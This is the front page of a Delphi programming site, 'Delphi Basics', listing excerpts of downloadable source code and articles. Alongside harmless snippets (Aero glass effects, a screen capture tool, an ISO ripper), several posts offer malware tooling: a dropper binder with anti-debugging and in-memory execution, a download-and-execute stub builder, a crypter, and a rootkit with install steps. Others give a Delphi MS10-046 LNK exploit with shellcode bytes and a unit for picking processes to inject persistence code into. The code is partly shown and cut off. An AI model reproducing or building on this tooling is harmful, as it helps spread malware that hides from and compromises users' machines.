Delphi Basics - Free Delphi Source Code - Ultimate Programming Resource                                                                                  
  • Delphi Basics website provides help and reference for the fundamentals of the Delphi language. It gives an introduction to the Delphi Object Oriented Language for  beginners, and provides reference for experienced programmers.
  • Applications coded by the DelphiBasics team are available for download from the site.  For all projects, both the final application and the Delphi source code are available for you to download to aid in a better understanding of Delphi.

We don't display ads so we rely on your donations. Thank you.

All available source codes are archived with WinRAR which can be downloaded for free at:
If you are looking for a specific resource, please use the Search.

Delphi Basics Counterstrikewi Releases

  • Counterstrikewi is a Delphi Basics VIP member. Archive: Delphi Basics Counterstrikewi Releases
  • Voik Binder This interesting delphi source code details a unique dropper binder written by Voik. Version 0.1 -Func-in method -Many anti debugging tricks -Stub generated in run-time -Pure ASM stub -Very nice GUI  Not working: -Icons Version 0.2+ Added icon support + Added execute in browser memory + GUI improved + Some bugs, and codes are optimized Author: VoikCompiled: Delphi 2007Operating System: Windows Vista  Only Delphi source code is included in the archive.
    Posted 28 Jul 2011, 11:39 by Delphi Basics
  • Func-In Wininet Downloader This delphi source code example details the wininet downloader:Wininet Downloader - 3.0 KBedited to use func-in technology where the procedure of downloading and executing a file is stored within the resource section of the stub application from where it is called when a built stub is executed.Builder:program Builder;// & cswi, abhe & steve10120const  kernel32 = 'kernel32.dll';type  PByte = ^Byte;function BeginUpdateResourceW(pFileName: PWideChar; bDeleteExistingResources: Boolean): Cardinal; stdcall; external kernel32 name 'BeginUpdateResourceW';function UpdateResourceW(hUpdate: Cardinal; lpType, lpName: PWideChar; wLanguage: Word; lpData: Pointer; cbData: LongWord): Boolean; stdcall; external kernel32 name 'UpdateResourceW';function EndUpdateResourceW(hUpdate: Cardinal; fDiscard: Boolean): Boolean; stdcall; external kernel32 name 'EndUpdateResourceW';const  cFuncIn : PWideChar = 'FUNCIN';type  TGetProcAddress = function (hModule: Cardinal ...
    Posted 24 Dec 2010, 08:49 by Delphi Basics
  • Func-In Delphi Example The closed source "Func-In" technique was was pioneered by p0ke (in Nidhogg Crypter) and shapeless (in Poison Ivy).  This recreated, open source Delphi example details how to write functions to the resource section of your stub and then call that function from resources upon execution.  This enables the user to keep the size of the final application down by only writing selected functions to the stub. Authors: Counterstrikewi, Abhe & Steve10120 Websites: & Compiled: Delphi 2007, Delphi XESlayer616 created his own func-in technology using shellcode:Func-In TechnologyBuilder: program Builder;// & cswi, abhe & steve10120const  kernel32 = 'kernel32.dll';  MB_YESNO = 4;  MB_OK = 0;type  PByte = ^Byte;function BeginUpdateResourceW(pFileName ...
    Posted 23 Dec 2010, 14:39 by Delphi Basics
  • [MS10-046] Cpl Lnk Exploit - Lnk Vulnerability by Paray_Vx This code details the MS10-046 'CPL Lnk Exploit' in Delphi.Cpl Lnk Vulnerability - MS10-046 in DelphiAuthor: - Paray_Vx -Tested and Working on Windows Xp, Windows Vista and Windows 7program MS10046;uses  SysUtils,  Windows;procedure CplLnkExploit(location:string);const  // ShellCode Lnk Vulnerability  Sizelnk :integer = 141;  ShellCode  : ARRAY [1..141] OF Byte = ($4C,$00,$00,$00,$01,$14,$02,$00,$00,$00,$00,$00,$C0,$00,$00,$00,$00,$00,$00,$46,$81,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$01,$00,$00,$00,$00,$00 ...
    Posted 9 Dec 2010, 15:39 by Delphi Basics
  • Open Crypter by p0ke       Open Source Code Crypter 1.0       by p0ke                   I wrote this opensource crypter for delphi coders.       Its nothing advanced, but i probably will add functions       to it with time.             Features:         10 file limit         Memory Execution support         EOF-Settings support         Custom Stub support         Drop to Harddrive support Joining Method: ResourcesEncryption: Custom XORMemory Execution: uMemoryExecute by p0ke.  This unit is compatible with Windows XP & Vista but not compatible with Windows 7.Only Delphi source code is included in the archive.
    Posted 1 Mar 2011, 12:05 by Delphi Basics
  • AFX Rootkit 2005 by Aphex AFX Rootkit 2005 by Aphex This program patches Windows API to hide certain objects from being listed. WARNING -> FOR WINDOWS NT/2000/XP/2003 ONLY! Current Version Hides: a) Processes b) Handles c) Modules d) Files & Folders e) Registry Keys & Values f) Services g) TCP/UDP Sockets h) Systray Icons Configuring a computer with the rootkit is simple... 1. Create a new folder with a uniqiue name i.e. "c:\winnt\rewt\" 2. In this folder place the root.exe i.e. "c:\winnt\rewt\root.exe" 3. Execute root.exe with the "/i" parameter i.e. "start c:\winnt\rewt\root.exe /i" 4. Inside this folder place any other programs or files. Everything inside the root folder is ...
    Posted 18 Sep 2010, 15:12 by Delphi Basics
Showing posts 1 - 6 of 40. View more »

Delphi Basics Snippets

  • Useful Delphi snippets collected by the Delphi Basics Team. Archive: Delphi Basics Snippets
  • Voik Func In This unit has been coded to facilitate simple use of the otherwise advanced "Func In" technique.Functions can be written normally. This version also supports:+ Static strings+ Functions calls+ ParametersClient Example:program Client;//Voikuses  Windows,  VoikClientFuncIn;function IsDebuggerPresent(): Boolean; stdcall; external kernel32 name 'IsDebuggerPresent';procedure AntiDebugger1(Parameters: Pointer); stdcall;begin  if IsDebuggerPresent() then    ExitProcess(0);end;procedure AntiDebugger2(Parameters: Pointer); stdcall;begin  OutputDebugString('%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s');end;procedure ShowMessage(Parameters: Pointer); stdcall;begin  MessageBox(0, pChar(Parameters), 'Voik', MB_OK);end;const  MSG = 'No debbuger!';var  FuncIn: TVoikFuncIn;begin  FuncIn := TVoikFuncIn.Create('Stub.exe');  FuncIn ...
    Posted 26 Jan 2012, 13:45 by Delphi Basics
  • uGetProcess - Retrieve Injectable 32-bit Process This Unit is Made by Snify and MindfreaK together.We went bored and searched for an x64 persistence method.U can easily write your own x64 persistence with this , just write ur persistence dll or codeinjection and inject itinto an process u have found with GetInjectAbleProcess.WARNING: Remember, the Process is chosen randomly and could be terminatedby itself , so u need an re-inject system which checks for an runningpersistence module/dll/codeinjection. ( TIPP: Communicate via Mutex ){     This Unit is Made by Snify and MindfreaK together. We went bored and searched for an x64 persistence method. U can easily write your own x64 persistence with this ,  just write ur persistence dll or codeinjection and inject it into ...
    Posted 26 Nov 2011, 10:15 by Delphi Basics
  • Smallest System.pas and SysInit.pas - Windows XP, Vista & 7 Inspired by Small Applications in Delphi - Tutorial by n0v4, these "Mini-Delphi" units (identification by PEiD) have been updated to work with all Windows NT operating systems. System.pasunit System; interfaceprocedure _Halt0;procedure _HandleFinally; type  TGUID = record    D1: LongWord;    D2: Word;    D3: Word;    D4: array [0..7] of Byte;  end;var  ExitCode: Integer = 0;   procedure ExitProcess(ExitCode: Integer); stdcall; external 'kernel32.dll' name 'ExitProcess';implementationprocedure _Halt0;begin  ExitProcess(ExitCode);end;procedure _HandleFinally;asmend;end.SysInit.pasunit SysInit;interfaceprocedure _InitExe(InitTable: Pointer);var  TlsIndex: Integer = -1;     TlsLast: Byte;    const  PtrToNil: Pointer = nil;implementationprocedure _InitExe(InitTable: Pointer);beginend;end.
    Posted 4 Aug 2011, 12:52 by Delphi Basics
  • Glass Effect in a Delphi Console Application To apply a nice glass effect to our console applications we must use the DwmEnableBlurBehindWindow function (Only available in Windows Vista and Windows 7). Rodrigo Ruzprogram ConsoleGlassDelphi;//Author  : Rodrigo Ruz 2009-10-26{$APPTYPE CONSOLE}uses  Windows,  SysUtils;type  DWM_BLURBEHIND = record    dwFlags                 : DWORD;    fEnable                 : BOOL;    hRgnBlur                : HRGN;    fTransitionOnMaximized  : BOOL;  end;function DwmEnableBlurBehindWindow(hWnd : HWND; const pBlurBehind : DWM_BLURBEHIND) : HRESULT; stdcall; external  'dwmapi.dll' name 'DwmEnableBlurBehindWindow';//function to enable the glass effectfunction GetConsoleWindow: HWND; stdcall; external kernel32 name 'GetConsoleWindow'; //get the handle of the console windowfunction DWM_EnableBlurBehind(hwnd : HWND; AEnable: Boolean; hRgnBlur : HRGN = 0; ATransitionOnMaximized: Boolean = False; AFlags: Cardinal = 1): HRESULT;var  pBlurBehind : DWM ...
    Posted 4 Aug 2011, 12:37 by Delphi Basics
  • Detect Aero Glass using Delphi To detect if Aero Glass is enabled we must use the DwmIsCompositionEnabled function. Rodrigo Ruzprogram DetectAeroDelphi;{$APPTYPE CONSOLE}//Author Rodrigo Ruz 2009-10-26uses  Windows,  SysUtils;function  ISAeroEnabled: Boolean;type  _DwmIsCompositionEnabledFunc = function(IsEnabled: PBoolean): HRESULT; stdcall;var  Flag                       : Boolean;  DllHandle                  : THandle;  OsVersion                  : TOSVersionInfo;  DwmIsCompositionEnabledFunc: _DwmIsCompositionEnabledFunc;begin  Result:=False;  ZeroMemory(@OsVersion, SizeOf(OsVersion));  OsVersion.dwOSVersionInfoSize := SizeOf(TOSVERSIONINFO);  if ((GetVersionEx(OsVersion)) and (OsVersion.dwPlatformId = VER_PLATFORM_WIN32_NT) and (OsVersion.dwMajorVersion >= 6)) then //is Vista or Win7?  begin    DllHandle := LoadLibrary('dwmapi.dll');    if DllHandle <> 0 then    begin      @DwmIsCompositionEnabledFunc := GetProcAddress(DllHandle, 'DwmIsCompositionEnabled');      if (@DwmIsCompositionEnabledFunc <> nil) then      begin        DwmIsCompositionEnabledFunc(@Flag);        Result:=Flag;      end;    end;      FreeLibrary(DllHandle);  end;end;begin  try ...
    Posted 4 Aug 2011, 12:35 by Delphi Basics
  • Using NtDeleteFile from Delphi The native API NtDeleteFile performs the same task as the user-mode API DeleteFile, but interestingly enough, the user-mode API does not call the native API to perform it’s task. As explained here, normally files are deleted through calls to NtSetInformationFile. The main difference in behavior comes from the fact that NtDeleteFile does not wait for handles on the file to close before deleting it (note that if the file is “open for normal I/O or as a memory-mapped file”, it still can’t be deleted, so only read-only handles will be ignored). Source: required structures (not defined in Delphi) are:UNICODE_STRING ...
    Posted 4 Aug 2011, 12:33 by Delphi Basics
Showing posts 1 - 6 of 181. View more »

Delphi Basics Projects

  • Delphi Basics Projects feed details completed projects written in Delphi. Archive: Delphi Basics Projects

  • SikCap2 by g1i7ch This Delphi source code details a screen capture utility featuring:Jpeg or Bmp output allowing quality setting for Jpg.Capture timer.Multiple Monitor Support. Capture all monitors, active monitor, primary monitor, or active window.Auto Save.Hot-keyed to print screen key.Minimize to tray.Author: g1i7chWebsite: ic0de.orgCompiled: Delphi 2007One of my favorite features is that when you drag the window, it becomes transparent due to some neat windows message handling.Only Delphi source code is included in the archive.
    Posted 2 Mar 2011, 13:47 by Delphi Basics
  • Get ISO by opc0de This tool allows you to rip iso images from any CD or DVD.Author: opc0deWebsite: ic0de.orgCompiled: Delphi 2007Only Delphi source code is included in the archive.
    Posted 2 Mar 2011, 13:35 by Delphi Basics
  • File Unlock by opc0de All too often a file cannot be deleted because it is in use by another application. This tool allows you to unlock that file for deletion.  Author: opc0deWebsite: ic0de.orgCompiled: Delphi 2007Features:Unlock fileUnlock & Delete fileView which processes use the fileTerminate the processes which uses the fileOnly Delphi source code is included in the archive.
    Posted 2 Mar 2011, 13:28 by Delphi Basics
  • Wifi Scanner Native Wifi API [], available since Windows XP can be used to create a Wifi scanner.Attached at the bottom of the page is an excellent translation of these headers as well as a GUI Wifi Scanner, written by RRUZ [Usage] and Architect [GUI].This short Delphi command line snippet details how to make use of the Native Wifi headers.Compiled: Delphi 2007Operating System: Windows Vistaprogram DetectWifiUsingDelphi;//by RRUZ{$APPTYPE CONSOLE}uses  Windows,  SysUtils,  nduWlanAPI   in 'nduWlanAPI.pas',  nduWlanTypes in 'nduWlanTypes.pas';//You may require the headers at:// DOT11_AUTH_ALGORITHM_To_String( Dummy :Tndu_DOT11_AUTH_ALGORITHM):String;begin ...
    Posted 3 Feb 2011, 12:53 by Delphi Basics
  • Process Hunter by Ms-Rem The attached Delphi source code is a detector for hidden processes.  It has several listing methods to detect processes, making use of native apis and kernel mode drivers (The screenshot details complete available options). The article shows how the author of Process Hunter, Ms-Rem, created the application, describing the concepts used in detail alongside code executing those concepts.  Full source code of Process Hunter is attached at the bottom of the page.Compiled: Delphi 2007Operating System: Windows 2000 & Windows XPDetection of hidden processes. Article written by Ms-Rem and translated by kao from Russian to EnglishSource: users have got used that Windows NT Task Manager shows all processes ...
    Posted 20 Nov 2010, 16:54 by Delphi Basics
  • CADT - Code Analization and Disassembling Tool v 1.1 by Ms-Rem Code Analization and Disassembling Tool v 1.1  Coded By Ms-Rem  Compiled: Delphi 2007Only Delphi source code is included in the archive.
    Posted 20 Nov 2010, 15:37 by Delphi Basics
Showing posts 1 - 6 of 31. View more »

Delphi Basics Project Releases.

  • Delphi source code of projects created by the Delphi Basics Team. Archive: Delphi Basics Project Releases
  • Thumbs.db Viewer On Microsoft Windows operating systems (starting with Windows XP), a thumbnail cache is used to store thumbnail images for Windows Explorer's thumbnail view. This speeds up the display of images as the smaller images do not need to be recalculated every time the user views the folder.Read More: is possible to view and extract the thumbnail images from the thumbs.db database.Author: CounterstrikewiThank you: Axel Guethner & Alex KonshinCompiled: Delphi 2007Website: www.delphibasics.infoOnly Delphi source code is included in the archive.
    Posted 7 Oct 2010, 00:16 by Delphi Basics
  • Google Cache Viewer {  Google Cache Viewer   Coder: Counterstrikewi   Compiled: Delphi 2007   Website: }This tool allows you to surf inside Google's cached pages.Google stores copies of all webpages which it returns in its results for faster searching by the user.  Google made the copies of pages when the site was up.  Therefore, even if the real site is down, the cached pages will still show the content.Downloads and images are not available.Google Cache Viewer is tested and working with although it can be used with other websites too.Only Delphi source code is included in the archive.
    Posted 29 Sep 2010, 06:40 by Delphi Basics
  • Icon Extractor - full delphi source code Icon Extractor enables you to extract the icons from dynamic link libraries and executable files. {  Coder: James   Compiled: Delphi 2007   Website: }Only Delphi source code is included in the archive.remove res
    Posted 7 Jun 2010, 15:36 by Delphi Basics
  • Pixelated Gravity {    Coder: Gerben Wijnja     Modder: Jack     Compiled: Delphi 2007     Website: }The original source for "Pixelated Gravity" can be found here: "Gravitation is a natural phenomenon by which all objects with mass attract each other. Gravity is the force that causes two particles to pull towards each other. If smaller objects are pixels and a bigger object is your mouse pointer - when you move the mouse the pixels should follow.What started as an application pixels tracking the cursor evolved as colors were added; then I blur, then converted to assembler to speed things up and finally a color filter.This piece of great code uses ASM ...
    Posted 8 Mar 2010, 18:48 by Delphi Basics
  • Start Button Modifier - Change the text of the start button {    Coder: Jack    Compiled: Delphi 2007    Website: } No source is included; I do however, provide a tutorial: How to change your start button caption using Delphi! Note: The start button will be renamed back to "start" after you restart your computer. 1. Create a new project in Delphi 2. Add a Button and an Edit box to your form, place them where you want. 3. Double click the button to enter the code editor so we can type code for our OnClick event.4. The code for the OnClick event of our button should look like this:procedure TForm1.Button1Click(Sender: TObject);var Handle1,Handle2:hwnd;beginHandle1:=FindWindow('Shell_TrayWnd',nil); //get the handle of the ...
    Posted 9 Mar 2010, 10:49 by Delphi Basics
  • Delphi Basics Icon Changer {    Coder: Jack     Compiled: Delphi 2007     Website: } Icon changer can change the icon of any executable file. Comes with default icons. Although source may be released in the future, the archive contains only a single executable file.
    Posted 10 Mar 2010, 03:00 by Delphi Basics
Showing posts 1 - 6 of 15. View more »

Delphi Basics Articles

  • Interesting articles collected by the Delphi Basics Team. Archive: Delphi Basics Articles
  • How to Enable Vertical Tabs in Google Chrome Enabling vertical tabs is easy in new versions of Google Chrome. To get started, open Chrome and type about:flags in the URL bar and press enter. This will take you to Chrome’s hidden experimental settings page.Click Enable under Side Tabs.Click the Restart Now button at the bottom of the page.To activate side tabs, right click on a tab in Chrome and select Use Side Tabs.
    Posted 27 Sep 2011, 03:02 by Delphi Basics
  • Aphex - Dissection of a Backdoor Back in the day when backdoors still had room to grow, Aphex was signed on with a major publisher to write a book on the subject. He missed a few deadlines and they ended up axing the project. In 2004, He sent me a few chapters to check out. Here is chapter two for the internet museum (hope he doesn’t mind). -stm Remember:akcom, drocon, archphase, MrJinxy, Olympus, PrinceAli, d-one, nelix, k0nsl, aza, b0b, slash, illy and everyone else that experienced the #trinity days. 
    Posted 2 Apr 2012, 06:10 by Delphi Basics
  • Installing Oracle Database 10g Express Edition on Windows Vista I had a lot of trouble installing Oracle Database on my Windows Vista machine. Enjoy a step by step tutorial from installation to working with demonstration data. Download:Oracle Database 10g Express Edition."Single-byte LATIN1 database for Western European language storage, with the Database Homepage user interface in English only". both archives.Right click on Setup.exe and click Properties. Select the Compatibility tab and check the box to run the program in compatibility mode for Windows XP (Service Pack 2).Open System by clicking the Start button , clicking Control Panel, clicking System and Maintenance, and then clicking System.In the left pane, click Advanced ...
    Posted 26 Oct 2010, 16:05 by Delphi Basics
  • How to Import / Export Google Sites Google has released an API for Google Sites [] that lets you create or edit pages, upload or download attachments, monitor the activity of a site programmatically. The API could be use to create a new interface for Google Sites, to upload files from other sources or to migrate your data.Google's Data Liberation team built a Java application for importing and exporting Google Sites. The application lets you export the pages from a site and all their attachments to a folder."The folder structure of an exported site is meant to mimic the Sites UI as closely as possible. Thus if exporting to a directory "rootdirectory," a top-level page normally located at ...
    Posted 23 Mar 2010, 16:57 by Delphi Basics
  • The Python Paradox In a recent talk I said something that upset a lot of people: that you could get smarter programmers to work on a Python project than you could to work on a Java project.I didn't mean by this that Java programmers are dumb. I meant that Python programmers are smart. It's a lot of work to learn a new programming language. And people don't learn Python because it will get them a job; they learn it because they genuinely like to program and aren't satisfied with the languages they already know.Which makes them exactly the kind of programmers companies should want to hire. Hence what, for lack of a better name, I'll call ...
    Posted 21 Mar 2010, 19:41 by Delphi Basics
  • Portable Executable [ PE ] File Format - Overview PE stands for Portable Executable. It's the native file format of Win32. Its specification is derived somewhat from the Unix Coff (common object file format). The meaning of "portable executable" is that the file format is universal across win32 platform: the PE loader of every win32 platform recognizes and uses this file format even when Windows is running on CPU platforms other than Intel. It doesn't mean your PE executables would be able to port to other CPU platforms without change. Every win32 executable (except VxDs and 16-bit Dlls) uses PE file format. Even NT's kernel mode drivers use PE file format. Thus studying the PE file format gives you valuable insights into the structure of ...
    Posted 16 Mar 2010, 09:43 by Delphi Basics
Showing posts 1 - 6 of 17. View more »